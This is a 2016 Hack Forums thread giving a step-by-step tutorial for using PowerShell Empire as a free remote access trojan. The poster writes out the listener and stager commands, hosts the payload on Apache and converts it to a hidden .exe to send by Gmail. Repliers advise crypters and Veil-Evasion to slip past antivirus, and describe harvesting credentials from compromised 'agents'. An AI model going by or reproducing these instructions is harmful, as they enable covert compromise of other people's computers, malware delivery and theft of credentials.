

Forum: [Hack Forums](#)

Thread: [Don't pay for another RAT - Tutorial](#)

Mr. Robot - September 23, 2016, 2:11 am

So this is probably the easiest way to create a simple and basic network of computers.
(you will need to port forward but this tutorial is for LAN which you don't need to port forward for)

What you need

<https://github.com/PowerShellEmpire/Empire>

Download Empire and extract it. Then run the ./setup/install.sh script.

Once that has finished, what you want to do is run ./Empire

When it has loaded up, you will need to type in the following.

listeners

info

set Host <http://192.168.1.50:8080>

Please note you need to set the 192.168.1.50 to your own ipv4, you can check that by opening another terminal and typing ipconfig.

Then type in the following to make sure it's all correct.

info

If it is, you can then run

execute

list

Then we want to run

usestager launcher_bat

Then type in info again to check the options

You will want to set the listener to the profile we made before and make the project host itself for you so you can easily access it from another machine so type in

set Listener test

set OutFile /var/www/html/power.bat

You can then run

execute

Now we run the apache server to host your file for easy access from other machines on your network.

service apache2 start

To download this remotely, just go to your computers ipv4 address from another machine
192.168.1.50/power.bat

Now on a windows machine, we will want to convert this to a .exe

Download this

http://download.cnet.com/Bat-To-Exe-Converter-Portable/3000-2069_4-10555897.html

And choose the file + outfile.

Make the visibility "invisible application"

Change temporary file to "Do not delete"

Change Architecture to 32 bit (as it will work on 64 too)

Now create it.

This can be sent via Gmail.

You can copy that .exe back onto your linux machine and move it into your /var/www/html/ folder
so you can access it remotely if you so wish.

Now you can crypt that with a crypter that works if you really want to otherwise just run it and you
will see it pop up on your linux empire console window.

From there you can type agents and then list to see the names and sessions you have.

Sometimes the names will be a crazy length, you can just do

rename HTHDFGFDGSDF netherlandspc

And then access it by using

interact netherlandspc

I haven't checked how many connections this can handle but you can set multiple profiles on
different setups, for example you can create one on a vpn network A and another on B and swap
between them to see the different lists.

Let me know if you want some pictures for this or some more info.

Antbeast - September 23, 2016, 2:15 am

Nice tutorial my man. Good.

Craze Products - September 23, 2016, 2:17 am

Are you able to assist me via teamviewer?

Cheers

Danny Khalifa - September 23, 2016, 2:19 am

Nice guide right here

Thanks a lot robot.

Mr. Robot - September 23, 2016, 2:23 am

(Sep 23, 2016 02:15 AM)Antbeast Wrote: [\[CITE\]](#) Nice tutorial my man. Good.
Got a better one coming out but people keep bugging me about this.

(Sep 23, 2016 02:17 AM)Craze Products Wrote: [\[CITE\]](#) Are you able to assist me via teamviewer?

Cheers

If you really need it, tomorrow we can voice comm.

(Sep 23, 2016 02:19 AM)Danny Khalifa Wrote: [\[CITE\]](#) Nice guide right here
Thanks a lot robot.
Thanks.

spirited_wolf™ - September 23, 2016, 3:29 am

(Sep 23, 2016 02:11 AM)Mr. Robot Wrote: [\[CITE\]](#) I haven't checked how many connections this can handle but you can set multiple profiles on different setups, for example you can create one on a vpn network A and another on B and swap between them to see the different lists.
Actually there is no limits of agents in Empire powershell we can simply type "list stale" for checking which agent is no longer active. Then for deleting all this stale list we can use "remove stale" for removing this stale list and it will only show you Active agents. But really nice any informative tutorial Mr.Robot.

Thanks?

Papa Cuda - September 23, 2016, 10:12 am

Would this be picked up by an antivirus?

spirited_wolf™ - September 23, 2016, 10:24 am

(Sep 23, 2016 10:12 AM)cudacore Wrote: [\[CITE\]](#) Would this be picked up by an antivirus?
Yes of course because it's not obfuscated that's why he added that you can use your crypter to make your generated payload undetectable. Hope you understand.

Thanks ?

Papa Cuda - September 23, 2016, 10:32 am

(Sep 23, 2016 10:24 AM)spirited_wolf™ Wrote: [\[CITE\]](#) Yes of course because it's not obfuscated that's why he added that you can use your crypter to make your generated payload undetectable. Hope you understand.

Thanks ?

Missed that bit, thanks! ?

spirited_wolf™ - September 23, 2016, 10:33 am

(Sep 23, 2016 10:32 AM)cudacore Wrote: [\[CITE\]](#) Missed that bit, thanks! ?
No problem cudacore ? ,
Always here to help.

daku01 - September 23, 2016, 11:12 am

Good tutorial, thanks for sharing
Regards

kpown - September 23, 2016, 11:22 am

Thanks for the tut, will be setting this up shortly. What is it codes in?

Lastly, when you interact with a session what are you able to do? Is it basically the same as meterpreter or are there different control options more similar to a typical RAT?

Thanks

spirited_wolf™ - September 23, 2016, 11:32 am

(Sep 23, 2016 11:22 AM)kpown Wrote: [\[CITE\]](#) Thanks for the tut, will be setting this up shortly. What is it codes in?

Lastly, when you interact with a session what are you able to do? Is it basically the same as meterpreter or are there different control options more similar to a typical RAT?

Thanks

Actually its mostly like " Meterpreter " but it have some new commands [It don't have all commands that metasploit provides us , but it have all its basic commands]

So, as usual you can simply type " help " for checking which commands you can use. But the best thing in Emire powershell is we can simply check which agent is active and remove the inactive agents by typing " list stale " we can check which agent is no longer active. Then for deleting all this stale list we can use " remove stale " for removing this stale list and it will only show you Active agents. We can even check all the credentials by cred command and we can add our credentials also. It's really fun to play with it. ?

Hope you understand ,

Thanks ?

naberhaci - September 23, 2016, 12:25 pm

Pretty nice tutorial, thanks

FractumSeraph - September 23, 2016, 12:31 pm

(Sep 23, 2016 11:32 AM)spirited_wolf™ Wrote: [\[CITE\]](#) Actually its mostly like " Meterpreter " but it have some new commands [It don't have all commands that metasploit provides us , but it have all its basic commands]

So, as usual you can simply type " help " for checking which commands you can use. But the best thing in Emire powershell is we can simply check which agent is active and remove the inactive agents by typing " list stale " we can check which agent is no longer active. Then for deleting all this stale list we can use " remove stale " for removing this stale list and it will only show you Active agents. We can even check all the credentials by cred command and we can add our credentials also. It's really fun to play with it. ?

Hope you understand ,

Thanks ?

Not metepreter. It's mostly just python scripts with powershell. Take a look at /lib/modules and look though the scripts.

Cute - September 23, 2016, 12:42 pm

Sick TuT man, Thanks for this.

spirited_wolf™ - September 23, 2016, 8:05 pm

(Sep 23, 2016 12:31 PM)Fallen Archangel Wrote: [\[CITE\]](#) Not metepreter. It's mostly just python scripts with powershell. Take a look at /lib/modules and look though the scripts.
I haven't said it meterpreter ? , actually i said that it's most of the command is same like we use when we get a meterpreter session.

But i also said that that it have some its own commands.

Mr. Robot - September 23, 2016, 8:07 pm

(Sep 23, 2016 08:05 PM)spirited_wolf™ Wrote: [\[CITE\]](#) I haven't said it meterpreter ? , actually i said that it's most of the command is same like we use when we get a meterpreter session.

But i also said that that it have some its own commands.

You can also of course upload and execute other payloads if you choose and run it like that.

I'm thinking about creating a similar setup like Empire myself for users on HF instead of paying for some RAT that could collect who knows what information about you.

spirited_wolf™ - September 23, 2016, 8:17 pm

(Sep 23, 2016 08:07 PM)Mr. Robot Wrote: [\[CITE\]](#) You can also of course upload and execute other payloads if you choose and run it like that.

I'm thinking about creating a similar setup like Empire myself for users on HF instead of paying for some RAT that could collect who knows what information about you.

Dox guy ? ,[When i said we can't execute other payloads?]

SIM-3115565 - September 23, 2016, 9:28 pm

Damn this was a really great tutorial thanks for the great information

demClood - September 24, 2016, 10:17 am

+rep Very good tutorial :)

?etasploit - September 24, 2016, 10:21 am

Nice tutorial! I think we are the only ones who have made an Empire tutorial. Great piece of software. ?

Hastur - September 24, 2016, 10:22 am

This is a great guide!

Thank you for this Mr. Robot!

?ane - September 24, 2016, 11:17 am

Great tutorial! Going to give this method a try when I get home.

shashwat97 - September 24, 2016, 12:19 pm

Thanks for the tutorial. Would try the next time I log into windows.

zdam - September 24, 2016, 5:17 pm

nice guide mr robot ..thanks a lot

kangerujack - September 24, 2016, 11:40 pm

Great tutorial, can you recommend a crypter to go with this? Installing Veil-Evasion, don't know if that'll be enough though?

Thank you.?